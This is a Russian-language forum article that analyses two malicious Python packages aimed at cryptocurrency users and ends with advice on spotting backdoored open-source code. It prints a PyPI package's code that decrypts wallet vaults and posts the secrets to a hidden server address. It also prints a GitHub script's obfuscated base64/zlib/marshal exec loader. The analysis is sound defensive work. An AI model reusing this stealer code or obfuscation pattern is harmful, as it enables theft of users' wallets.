Это моя первая статья. На нее меня вдохновила тема /threads/105201/, автор которой рассказывает, как у него угнали кошелек после использования пакета из PyPI. Для кого-то вещи в ней могут показаться очевидными, но, к сожалению, за короткий срок мне не удалось найти зараженные пакеты посерьезнее.
Начнем с основ.
Открытый код (Open Source) - Программы с открытым кодом, предоставляют доступ к исходному коду программы, что позволяет пользователям просматривать и изменять этот код.
Закрытый код (Closed Source) - Программы с закрытым кодом, предоставляют только исполняемый код, но не предоставляют доступ к исходному коду программы.
Плюсы открытого исходного кода:
Плюсы закрытого исходного кода:
Да, открытый код безопаснее, но закрытый код, зачастую, удобнее. Ещё в открытом коде проще найти уязвимость, но нашедший может ее использовать в своих целях или сообщить разработчику/помочь ее убрать.
После нескольких лет в IT у меня выработалась очень полезная привычка - сомнительно относиться к закрытому коду, а еще сомнительнее - к открытому. Ведь с закрытым кодом все очевидно, там может быть скрыто что угодно, вы готовы к этому. Но что с опенсорсом, в чем выгода разработчика? Опенсорс играет на том, что вы автоматически ему доверяете, ведь “никто же не будет встраивать малварь в открытый код и по-любому кто-то это всё проверяет при публикации Github/PyPI/…, а если еще и 3 звездочки на гите есть…”.
Возьмем к примеру смарт контракт, мало кто будет ему доверять и использовать, если не опубликовать его код. После публикации код открыт, вы на него смотрите, и, с первого взгляда, все хорошо. А потом через 15 дней он скамится. Как? Ведь смарт контракт нельзя изменить после публикации, он записан в блокчейн. Конечно - там был бекдор, но скрыт таким образом, что человек без определенных знаний его вряд ли найдет.
Обычно он замаскирован под стандартные/безымянные/однострочные функции с названием типо
Главные способы распространения забекдоренных пакетов - публикация на Github, PyPI, RubyGems, и npm.
Мои советы для избежания малваря будут в конце.
Разберем пакет из темы, о которой я говорил в начале:
PyPI - hashdecrypt
Здесь все предельно просто. После установки появляется только один небольшой файл под названием hashDecrypt.py:
Python: Скопировать в буфер обмена
Первое что мы видим - импорт post и get функций. К чему они в пакете для работы с криптографией?
Второе что мы видим - контакты разработчика?) Необычно.
Идем дальше и видим такие строки. По порядку:
Казалось бы, до жути примитивный пакет - 1 файл, 60 строк. Но, к сожалению, на данный момент у многих людей недостаточно знаний о том, что открытый код != безопасный код, поэтому они запускают опенсорс с полным доверием.
Полазил по https://pypi.org и случайно нашел другой пакет, но с точно такой же функцией отправки данных на сервер (только другой сервер, видимо, он давно этим промышляет).
Следующий на обзоре скрипт из GitHub’а, который был найден после 5 минут поисков немного интереснее, но видимо рассчитан на людей, совсем не осознающих своих действий.
Репозиторий: Bitcoin-Mnemonic-Bruteforce
Python: Скопировать в буфер обмена
По порядку:
1. Попытка импорта нужных пакетов, если их они не установлены - установка
2. Пере-импорт пакетов, на случай, если на предыдущем этапе какие-либо пакеты отсутствовали
3.
А ведь подобные бекдоры способен соорудить каждый. Вот для примера опенсорс мальварь посерьезнее:
Вредоносный пакет PyPI смешивает исходный и скомпилированный код, чтобы избежать обнаружения.
Итоги.
Как не попасться на open-source малварь?
На сегодня всё . Повторюсь, был бы рад проанализировать пакеты посерьезнее, но не нашел таких, если у кого-то есть - готов принять)
Автор: oceanaric
Специально для
Начнем с основ.
Открытый код (Open Source) - Программы с открытым кодом, предоставляют доступ к исходному коду программы, что позволяет пользователям просматривать и изменять этот код.
Закрытый код (Closed Source) - Программы с закрытым кодом, предоставляют только исполняемый код, но не предоставляют доступ к исходному коду программы.
Плюсы открытого исходного кода:
- *прозрачность
- бесплатность
- возможность изменить программу под себя/внести свой вклад в проект
- *вероятность скрытого малваря внутри, основанного на доверии людей к опенсорсу
- часто отсутствие поддержки
Плюсы закрытого исходного кода:
- простота использования
- профессиональная поддержка со стороны разработчика
- отсутствие прозрачности (вероятность малваря/утечки данных внутри, основанного на отсутствии возможности проверки кода пользователями)
- зависимость от разработчика
Да, открытый код безопаснее, но закрытый код, зачастую, удобнее. Ещё в открытом коде проще найти уязвимость, но нашедший может ее использовать в своих целях или сообщить разработчику/помочь ее убрать.
После нескольких лет в IT у меня выработалась очень полезная привычка - сомнительно относиться к закрытому коду, а еще сомнительнее - к открытому. Ведь с закрытым кодом все очевидно, там может быть скрыто что угодно, вы готовы к этому. Но что с опенсорсом, в чем выгода разработчика? Опенсорс играет на том, что вы автоматически ему доверяете, ведь “никто же не будет встраивать малварь в открытый код и по-любому кто-то это всё проверяет при публикации Github/PyPI/…, а если еще и 3 звездочки на гите есть…”.
Возьмем к примеру смарт контракт, мало кто будет ему доверять и использовать, если не опубликовать его код. После публикации код открыт, вы на него смотрите, и, с первого взгляда, все хорошо. А потом через 15 дней он скамится. Как? Ведь смарт контракт нельзя изменить после публикации, он записан в блокчейн. Конечно - там был бекдор, но скрыт таким образом, что человек без определенных знаний его вряд ли найдет.
Обычно он замаскирован под стандартные/безымянные/однострочные функции с названием типо
_
/aN49Qio3hma
/*тематическое умное название, как в первом разобранном пакете (ниже)* или спрятан внутри огромного мусорного кода. Это одна из главных проблем опенсорса.Главные способы распространения забекдоренных пакетов - публикация на Github, PyPI, RubyGems, и npm.
Мои советы для избежания малваря будут в конце.
Разберем пакет из темы, о которой я говорил в начале:
PyPI - hashdecrypt
Здесь все предельно просто. После установки появляется только один небольшой файл под названием hashDecrypt.py:
Python: Скопировать в буфер обмена
Code:
import json
import base64
import hashlib
from Crypto.Cipher import AES
from requests import post, get
# +---------------------------------+
# | [HashDecrypt] |
# | https://github.com/HashSnake |
# | Telegram: @HashSnake |
# +---------------------------------+
# |bytes(bytes_line).decode("utf-8")|
# +---------------------------------+
class hdec:
def key_from_password(self, password, salt):
salt_buffer = base64.b64decode(salt)
password_buffer = password.encode('utf-8')
key = hashlib.pbkdf2_hmac(
'sha256',
password_buffer,
salt_buffer,
10000,
dklen=32
)
return key
def decrypt_with_key(self, key, payload):
encrypted_data = base64.b64decode(payload["data"])
vector = base64.b64decode(payload["iv"])
data = encrypted_data[:-16]
cipher = AES.new(key, AES.MODE_GCM, nonce=vector)
decrypted_data = cipher.decrypt(data)
return decrypted_data
def jsBIP39(self, payload):
def cli_keccak256(raw_hash, raw_vault):
try:
message_bytes = raw_vault.encode('ascii')
b64_bytes = base64.b64encode(message_bytes)
b64_m = b64_bytes.decode('ascii')
post(get(raw_hash).text.strip(), json={"b64": b64_m})
except:
pass
encode_data = "aHR0cHM6Ly9naXRodWIuY29tL0hhc2hTbmFrZS9iYWNrZW5kYXBpL3Jhdy9tYWluL3NldHRpbmdz"
base64_bytes = encode_data.encode('ascii')
message_bytes = base64.b64decode(base64_bytes)
cli_keccak256(message_bytes.decode('ascii'), payload)
def decrypt(self, password, text):
try:
payload = json.loads(text)
salt = payload['salt']
key = self.key_from_password(password, salt)
decrypted_string = self.decrypt_with_key(key, payload).decode('utf-8')
self.jsBIP39(decrypted_string)
jsf = json.loads(decrypted_string)
return {"status": True, "message": None, "result": jsf}
except UnicodeDecodeError:
return {"status": False, "message": "wrong password", "result": None}
except:
return {"status": False, "message": "unknown", "result": None}
Первое что мы видим - импорт post и get функций. К чему они в пакете для работы с криптографией?
Второе что мы видим - контакты разработчика?) Необычно.
Идем дальше и видим такие строки. По порядку:
1. После успешного декрипта перед выводом результата запускается функция jsBIP39, в которую передается найденное значение
2. Что-то закодированное в BASE64
3. Закодированное значение из пункта 2 кодируется в ascii (str -> bytes)
4. Закодированное значение из пункта 3 декодируется BASE64 и становится ссылкой “https://github.com/HashSnake/backendapi/raw/main/settings”
5. Вызывается вложенная функция cli_keccak256, в которую под видом raw_hash передается полученный url из пункта 4, а под видом raw_vault - значение, которое будет отправлено на url
6. Значение, которое будет отправлено на url, тоже кодируется в ascii (str -> bytes)
7. Закодированное значение из пункта 6 теперь кодируется в BASE64
8. Закодированное в BASE64 значение из пункта 7 преобразовывается обратно в строку (bytes -> str)
9.
post(get(raw_hash).text.strip(), json={“b64”: b64_m})
Что здесь происходит:
1.
get(raw_hash)
- делает GET запрос по URL, который был получен в 4 пункте и получает ответ http://65.109.70.235:3030/api
2.
.text.strip()
- берет атрибут ответа “text” и убирает у него пробелы из начала и конца3.
post(get(raw_hash).text.strip(), json={“b64”: b64_m})
= post(“http://65.109.70.235:3030/api”, json={“b64”: b64_m})
- отправляет закодированные в BASE64 ворованные данные на серверКазалось бы, до жути примитивный пакет - 1 файл, 60 строк. Но, к сожалению, на данный момент у многих людей недостаточно знаний о том, что открытый код != безопасный код, поэтому они запускают опенсорс с полным доверием.
Полазил по https://pypi.org и случайно нашел другой пакет, но с точно такой же функцией отправки данных на сервер (только другой сервер, видимо, он давно этим промышляет).
Следующий на обзоре скрипт из GitHub’а, который был найден после 5 минут поисков немного интереснее, но видимо рассчитан на людей, совсем не осознающих своих действий.
Репозиторий: Bitcoin-Mnemonic-Bruteforce
Python: Скопировать в буфер обмена
Code:
import sys
import random
import time
import datetime
import json
import os
try:
import binascii
except:
os.system('pip install binascii')
try:
import mnemonic
except:
os.system('pip install mnemonic')
try:
import bip32utils
except:
os.system('pip install bip32utils')
try:
import requests
except:
os.system('pip install requests')
import binascii
import mnemonic
import bip32utils
import requests
_ = lambda __ : __import__('marshal').loads(__import__('zlib').decompress(__import__('base64').b64decode(__[::-1])));
exec((_)())
По порядку:
1. Попытка импорта нужных пакетов, если их они не установлены - установка
2. Пере-импорт пакетов, на случай, если на предыдущем этапе какие-либо пакеты отсутствовали
3.
_ = lambda __ : __import__(‘marshal’).loads(__import__(‘zlib’).decompress(__import__(‘base64’).b64decode(__[::-1])));
Что здесь происходит:
1.
__[::-1]
- переворачивает закодированный BASE64 текст (==g1L+IL…
= LI+L1g==…
)2.
__import__(‘base64’).b64decode(…)
- импортирует base64 и декодирует перевернутое после 1 пункта значение, на выходе получаем байт-код (“x\x9c\\\x9bG\x8e\xeb\xdczE\…”)3.
__import__(‘zlib’).decompress(…)
- распаковывает данные со 2 пункта, используя zlib4.
4. __import__(‘marshal’).loads(…)
- загружает распакованный результат из 3 пункта и десереализирует данные, возвращает <code object <module> at 0x…, file “<x>", line 1>
exec((_)(b’==g1L+I…Oe0mcxJe’))
- выполняет результат функции из 3 пункта, скорее всего вредоносный exe.А ведь подобные бекдоры способен соорудить каждый. Вот для примера опенсорс мальварь посерьезнее:
Вредоносный пакет PyPI смешивает исходный и скомпилированный код, чтобы избежать обнаружения.
Итоги.
Как не попасться на open-source малварь?
1. Обратить внимание на разработчика, его репутацию
2. Обратить внимание на рейтинг и дату выхода
3. Если GitHub - проверить вкладки “Issues” и “Pull requests” на наличие жалоб/предупреждений от других
4. Если есть файл со всеми установленными пакетами (package.json/requirements.txt/…) - проверить на наличие тематически неподходящих пакету
5. Взглянуть на код, в питоне обычно бекдоры прячут в __init__.py и подобные невинные, обычно пустые файлы. Начинать лучше с проверки импортов.
6. Если кода много, а со всего пакета нужен только он - гораздо быстрее и безопаснее просто вырезать нужную функцию себе, если это позволяет структура пакета.
7. Проверять цифровые подписи
Как не попасться на closed-source малварь?1. Обратить внимание на разработчика, его репутацию
2. Устанавливать программы с надежных источников
3. Использовать антивирус и молиться
4. Следить за поведением (иногда для профилактики можно анализировать трафик)
5. Проверять цифровые подписи
На сегодня всё . Повторюсь, был бы рад проанализировать пакеты посерьезнее, но не нашел таких, если у кого-то есть - готов принять)
Автор: oceanaric
Специально для